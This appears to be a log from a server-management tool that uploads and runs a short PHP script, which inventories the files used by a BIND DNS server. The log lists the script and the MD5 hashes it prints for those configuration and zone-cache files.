MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:45:23: Establishing a connection
2026-02-09 13:45:23: 

PUT: /tmp/pkp843284

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:45:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp843284; rm /tmp/pkp843284'

2026-02-09 13:45:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
